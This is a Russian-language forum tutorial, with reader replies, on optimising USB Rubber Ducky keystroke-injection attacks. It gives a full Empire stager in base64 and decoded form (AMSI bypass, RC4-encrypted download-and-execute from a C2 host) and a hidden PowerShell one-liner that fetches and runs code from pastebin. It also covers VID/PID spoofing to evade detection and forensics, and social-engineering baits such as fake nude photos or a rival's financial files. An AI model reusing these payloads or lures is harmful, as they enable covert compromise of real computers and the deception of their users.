Rubber Ducky Продвинутые атаки (часть III)

10.11.2016
121
427
#1
rubberducky.jpg
Приветствую уважаемых участников и гостей форума!
В предыдущей части, мы научились писать простые пейлоады на Ducky Script и проводить элементарные атаки с помощью "Rubber Ducky" в лабораторных условиях.
Но на практике, в реальной жизни, часто возникают ситуации когда у нас нет достаточного количества времени на атаку, т.к суть большинства векторов, с использованием HID "Rubber Ducky", сводиться к открытию сессии Meterpreter или Empire, что все таки требует времени, несмотря на высокую скорость набора команд. (1000 символов/минута)
В этой статье, мы рассмотрим несколько практических методик, позволяющих значительно сократить время атаки и минимизировать риск быть обнаруженным, во время проведения тестирования на проникновение.

Информация предназначена исключительно в образовательных целях.
Автор статьи и администрация ресурса не несут ответственности за использование перечисленных методик и инструментов в незаконных целях.

Итак, пожалуй начнем с классификации векторов атак с использованием "Rubber Ducky":

1. "Физический контакт" - как очевидно из названия, способ заключается в реализации возможности незаметно вставить наше устройство в USB-порт компьютера цели, во время ее отсутствия на рабочем месте
Преимущества:
1) Доставка полезной нагрузки гарантирована
2) Цель не подразумевает о компроментации
Недостатки:
1) Серьезный риск быть пойманным
2) Недостаток времени (можем только предпологать когда вернется цель)
3) Hеудобное расположение и доступность USB-портов на целевом компьтере (в случае, если системный блок расположен под столом)

2. "Подарок" - суть способа, в необходимости подбросить наш девайс цели, используя методики СИ (прислать в качестве сувенирной продукции с логотипом компании-партнера; "потерять" на парковке рядом с автомобилем цели, с логотипом компании-конкурента и надписью "Контрагенты-2017" и пр. варианты)
Преимущества:
1) Минимальный риск быть пойманным
2) В большинстве случаев, доставка полезной нагрузки проходит удачно, так как любопытство одерживает верх над здравым смыслом, особенно когда на флешке написано "Ню-фотосессия 2017"))
Недостатки:
1) Цель находится перед монитором в процессе компрометации и фиксирует необычное поведение компьютера, после подключения нашего "подарка" (открывается консоль, набираются команды и пр.)

3. "Ниндзя" - в лучших традициях голливудских триллеров, дождаться ночи, взломать замки, преодолеть сигнализацию, вырубить охрану, незаметно прокрасться в офис и скомпрометировать целевую машину, используя "Rubber Ducky" исключительно для автоматизации процесса, чтобы вручную не набирать команды в консоли
Преимущества:
1) Доставка полезной нагрузки гарантирована
2) Обладая такими навыками, стоит задуматься о карьере спецагента, а не пентестера)
Недостатки:
1) Очень серьезный риск быть пойманным

Итак, согласно классификации, при проведении атаки "Физический контакт" одним из ключевым факторов успеха является время, чем меньше времени займет исполнение кода полезной нагрузки, тем больше шансов остаться незамеченным.
Давайте оптимизируем время на примере стайджера Empire /stager/windows/ducky
Код:
DELAY 3000
GUI r
DELAY 1000
STRING powershell
ENTER
DELAY 2000
STRING powershell -W Hidden -nop -noni -enc WwBSAGUAZgBdAC4AQQBzAHMARQBNAGIATAB5AC4ARwBFAFQAVAB5AHAARQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzACcAKQB8AD8AewAkAF8AfQB8ACUAewAkAF8ALgBHAEUAVABGAGkARQBsAEQAKAAnAGEAbQBzAGkASQBuAGkAdABGAGEAaQBsAGUAZAAnACwAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAFMARQB0AFYAQQBsAFUAZQAoACQAbgBVAEwAbAAsACQAdABSAFUAZQApAH0AOwBbAFMAeQBTAFQAZQBtAC4ATgBFAFQALgBTAGUAcgB2AGkAQwBFAFAAbwBJAE4AdABNAEEATgBBAEcAZQBSAF0AOgA6AEUAWABwAEUAYwB0ADEAMAAwAEMATwBOAFQASQBOAFUARQA9ADAAOwAkAFcAQwA9AE4ARQBXAC0ATwBiAEoAZQBDAFQAIABTAHkAUwB0AEUATQAuAE4AZQBUAC4AVwBFAGIAQwBsAGkARQBOAFQAOwAkAHUAPQAnAE0AbwB6AGkAbABsAGEALwA1AC4AMAAgACgAVwBpAG4AZABvAHcAcwAgAE4AVAAgADYALgAxADsAIABXAE8AVwA2ADQAOwAgAFQAcgBpAGQAZQBuAHQALwA3AC4AMAA7ACAAcgB2ADoAMQAxAC4AMAApACAAbABpAGsAZQAgAEcAZQBjAGsAbwAnADsAJAB3AGMALgBIAGUAQQBkAEUAUgBTAC4AQQBkAGQAKAAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwAsACQAdQApADsAJAB3AGMALgBQAHIAbwB4AHkAPQBbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAEUAQgBSAEUAUQB1AGUAcwBUAF0AOgA6AEQARQBGAGEAdQBMAHQAVwBFAEIAUAByAE8AeAB5ADsAJABXAEMALgBQAFIAbwBYAFkALgBDAFIARQBkAGUAbgB0AEkAQQBMAFMAIAA9ACAAWwBTAHkAcwBUAEUATQAuAE4ARQB0AC4AQwByAEUARABlAE4AdABpAEEAbABDAEEAQwBoAGUAXQA6ADoARABFAEYAQQBVAEwAVABOAEUAVABXAE8AUgBrAEMAUgBFAEQAZQBOAHQASQBhAGwAUwA7ACQASwA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAEMATwBkAGkATgBHAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AEIAWQB0AEUAcwAoACcAYwBJAHAAMABDADwASgAtAHMAbABUAF8AXgBAAGkANABQAEcALAA4AHgAWABGACsAZgBFAFIAMwB2AEQAfgBkACcAKQA7ACQAUgA9AHsAJABEACwAJABLAD0AJABBAFIARwBTADsAJABTAD0AMAAuAC4AMgA1ADUAOwAwAC4ALgAyADUANQB8ACUAewAkAEoAPQAoACQASgArACQAUwBbACQAXwBdACsAJABLAFsAJABfACUAJABLAC4AQwBvAHUATgB0AF0AKQAlADIANQA2ADsAJABTAFsAJABfAF0ALAAkAFMAWwAkAEoAXQA9ACQAUwBbACQASgBdACwAJABTAFsAJABfAF0AfQA7ACQARAB8ACUAewAkAEkAPQAoACQASQArADEAKQAlADIANQA2ADsAJABIAD0AKAAkAEgAKwAkAFMAWwAkAEkAXQApACUAMgA1ADYAOwAkAFMAWwAkAEkAXQAsACQAUwBbACQASABdAD0AJABTAFsAJABIAF0ALAAkAFMAWwAkAEkAXQA7ACQAXwAtAGIAeABPAFIAJABTAFsAKAAkAFMAWwAkAEkAXQArACQAUwBbACQASABdACkAJQAyADUANgBdAH0AfQA7ACQAdwBjAC4ASABlAGEAZABFAHIAcwAuAEEARABkACgAIgBDAG8AbwBrAGkAZQAiACwAIgBzAGUAcwBzAGkAbwBuAD0AeABiADEAcgBKAGoATABuAGwANQBKAGsAMABqADEATgAxAFYAZABoAHgAZwByAE8ANgArAFkAPQAiACkAOwAkAHMAZQByAD0AJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4AMgA6ADgAMAAnADsAJAB0AD0AJwAvAGwAbwBnAGkAbgAvAHAAcgBvAGMAZQBzAHMALgBwAGgAcAAnADsAJABEAGEAVABBAD0AJABXAEMALgBEAE8AdwBOAGwAbwBhAGQARABhAFQAYQAoACQAcwBlAFIAKwAkAHQAKQA7ACQAaQBWAD0AJABEAEEAdABBAFsAMAAuAC4AMwBdADsAJABEAEEAdABhAD0AJABEAEEAdABBAFsANAAuAC4AJABEAGEAdABhAC4ATABFAG4ARwB0AEgAXQA7AC0ASgBPAEkATgBbAEMASABBAHIAWwBdAF0AKAAmACAAJABSACAAJABkAGEAVABBACAAKAAkAEkAVgArACQASwApACkAfABJAEUAWAA=
ENTER
Количество символов: 1 (r) + 10 (powershell) + 1 (ENTER) + 2657 (payload) + 1 (ENTER) = 2670 символов
На выполнение данного кода, необходимо приблизительно 40 сек

Также, к этому необходимо добавить время на установку драйверов, так как подавляющее большинство машин на тестах в реальной жизни никогда не имели дел с VID/PID контроллера "Rubber Ducky"

Оптимизиция:
1. Декодируем Base-64 stager Empire
$ echo "WwBSAEUARgBdAC4AQQBTAFMAZ...ACkAfABJAEUAWAA=" | base64 -d
Код:
[REF].ASSemBLY.GetType('System.Management.Automation.AmsiUtils')|?{$_}|%{$_.GEtFieLd('amsiInitFailed','NonPublic,Static').SeTVaLUE($NULl,$TruE)};[SYStEm.NeT.SeRvIcEPoIntMaNager]::EXPEcT100CoNtiNUe=0;$WC=New-ObjeCT SysTeM.NeT.WebCLIeNt;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$wC.HeAdeRs.ADD('User-Agent',$u);$WC.ProXy=[SystEm.NEt.WeBREqueSt]::DEfaULtWeBPRoXy;$wC.PRoXY.CreDENTIALS = [SYStEm.Net.CreDEnTIAlCaChe]::DEFAUltNEtworKCredENtIALS;$K=[SysTeM.TExT.ENcODING]::ASCII.GetBytES('cIp0C<J-slT_^@i4PG,8xXF+fER3vD~d');$R={$D,$K=$ARGS;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.CouNT])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bXoR$S[($S[$I]+$S[$H])%256]}};$Wc.HEadERs.ADD("Cookie","session=yf4qx5Kgt/VLttX7JIdbgtni/iQ=");$ser='192.168.*.*:80';$t='/login/process.php';$daTa=$WC.DOWNLOAdDAta($ser+$t);$Iv=$dAta[0..3];$DaTa=$daTA[4..$dAta.leNGTh];-JoiN[ChAr[]](& $R $DaTA ($IV+$K))|IEX
Либо создаем новый stager в Empire multi/launcher, где опция Base64 с параметром False

2. Загружаем декодированный stager Empire на
Для просмотра контента необходимо: Войти или зарегистрироваться

Просто скопировать/вставить и сохранить страницу в raw
Для просмотра контента необходимо: Войти или зарегистрироваться

Примечание: Рекомендую использовать именно https версию pastebin.com чтобы избежать детекта AV

3. Создаем команду для powershell запускающую stager Empire
Код:
powershell -ep bypass -w h -c "IEX (New-Object Net.WebClient).DownloadString('https://pastebin.com/U3iyw194')
4. Снижаем дефолтные параметры задержки Empire /stager/windows/ducky (значения подобраны экспериментально)
Код:
DELAY 500
GUI r
DELAY 100
5. Подменяем VID/PID значения устройства
Для сокращения времени, которое тратилось на установку драйверов, нам необходимо подменить VID (Vendor ID) и PID Product ID на значения универсальной клавиатуры Microsoft (0x045E) Generic 'Keyboard' (0xFFF8) К тому же это затруднит обнаружение данного вектора при возможном расследовании инцидента
Скачать vidpid.bin от Microsoft можно
Для просмотра контента необходимо: Войти или зарегистрироваться
, далее просто сохранить в корневую директорию "Rubber Ducky"

В итоге у нас получается
Код:
DELAY 500
GUI r
DELAY 100
STRING powershell -ep bypass -w h -c "IEX (New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/ani8ic5X')"
ENTER
Количество символов: 1 (r) + 114 (payload) + 1 (ENTER) = 116 символов
Приблизительное время - 3 сек


При проведении атаки под кодовым названием "Подарок", ключевым фактором является правдоподобность содержания "подаренного/подброшенного" устройства, т.е. маркировка "SwingerParty 2017" подразумевает соответствующий контент внутри, который еще и будет отвлекает внимание жертвы во время выполнения кода полезной нагрузки
Таким образом, необходимо чтобы "Rubber Ducky" был доступен в качестве USB-накопителя на целевом устройстве, а для доставки мы будем также использовать pastebin

1.Меняем оригинальную прошивку на образ Twin Duck
Качаем образ c_duck_v2.1.hex по ссылку https://github.com/hak5darren/USB-Rubber-Ducky/tree/master/Firmware/Images

1) Устанавливаем dfu-programmer:
$ sudo apt-get update && sudo apt-get install dfu-programmer

2) Достать карту памяти и подключить к USB

3) Удалить текущую прошивку:
$ sudo dfu-programmer at32uc3b1256 erase

4) Установить Twin Duck :
$ sudo dfu-programmer at32uc3b1256 flash --suppress-bootloader-mem c_duck_v2.1.hex

5) Сбросить настройки контроллера и отключить от USB:
$ sudo dfu-programmer at32uc3b1256 reset

2. Подменяем VID/PID значения устройства
В этом случае прикинимся обычно флешкой на одном из самых распространенных чипсетов USB-накопителей: Alcor Micro Corp (0x058F), Generic "Flash Drive" (0x6387)
Скачать Alcor Micro vidpid.bin можно
Для просмотра контента необходимо: Войти или зарегистрироваться
и скопировать его root нашего девайса

3. Добавим ярлык тома для нашего устройства
Самый простой способ использовать GParted
Для просмотра контента необходимо: Войти или зарегистрироваться


4. Правдоподобность содержания, на этом этапе, используя навыки СИ и знания о цели необходимо загрузить контент, который будет внутри тома нашего "подарка", чтобы заинтересовать жертву содержанием, например фин. директору/главному бухгалтеру будут более интересны - балансы, счета, налоговые декларации и пр. документация конкурирующей фирмы, отделу продаж - база контрагентов, а студента, подрабатывающего охранником больше заинтересуют эротические фото однокурсницы и т.д.
Примечание: Рекомендую сделать файл vidpid.bin скрытым в Windows-системах, через присвоения соответствующих атрибутов

5. Создаем и компилируем пейлоад, используя методику доставки pastebin, как в атаке "Физический контакт"

Благодарю за внимание!
 
Последнее редактирование:

mrBunny

Well-known member
24.11.2016
49
16
#3
Отличная статья, прочёл с Большим удовольствием! Будет чем заняться в выходные дни))
Лично я не знаю чем можно еще дополнить данную тему, но планируется ли продолжение?
 
10.11.2016
121
427
#4
Большое спасибо за отзывы!
Планирую еще серию статей, на тему домашних DIY-проектов на нескольких типах контроллеров, с подробным описанием процесса разработки (заказ комплектующих - создание прототипа - прошивка - использование)
 
Последнее редактирование:

mrBunny

Well-known member
24.11.2016
49
16
#6
Большое спасибо за отзывы!
Планирую еще серию статей, на тему домашних DIY-проектов на нескольких типах контроллеров, с подробным описанием процесса разработки (заказ комплектующих - создание прототипа - прошивка - использование)
Отличные новости, будем ждать!
 

<~DarkNode~>

~^M1st3r_Bert0ni^~
Gold Team
19.10.2016
736
2 674
#7
Спасибо за статью) Хочу обратить внимания на то что методом дроп будет работать при доступе к инету.
Суть я думаю понятна всем, но все же если это комп без инета или корп сеть с фаерволом на роутере с пропуском только по вайт листу, то как вариант имхо имеет смысл (если это ноут) раздать вай фай через netsh или другим путем (так же можно подключится к своей евил сети не подалеку средствами павершел(правда нужно быть уверенным что есть вай фай на таргете)
Но все же спасибо павершел что он так нам помогает реализовать нужные задачи)
 
28.11.2016
5
2
#8
Классно разжевано, я за полгода пусть и не очень активного использования сия инструмента, на догадался до некоторых решений...
Скачать vidpid.bin от Microsoft можно
Для просмотра контента необходимо: Войти или зарегистрироваться
, далее просто сохранить в корневую директорию "Rubber Ducky"
Неплохо было бы перезалить :)
 
10.11.2016
121
427
#9
Классно разжевано, я за полгода пусть и не очень активного использования сия инструмента, на догадался до некоторых решений...

Неплохо было бы перезалить :)
Большое спасибо!
Ссылки на драйвера обновил:
Для просмотра контента необходимо: Войти или зарегистрироваться
клавиатуры Microsoft и
Для просмотра контента необходимо: Войти или зарегистрироваться
флешки Alcor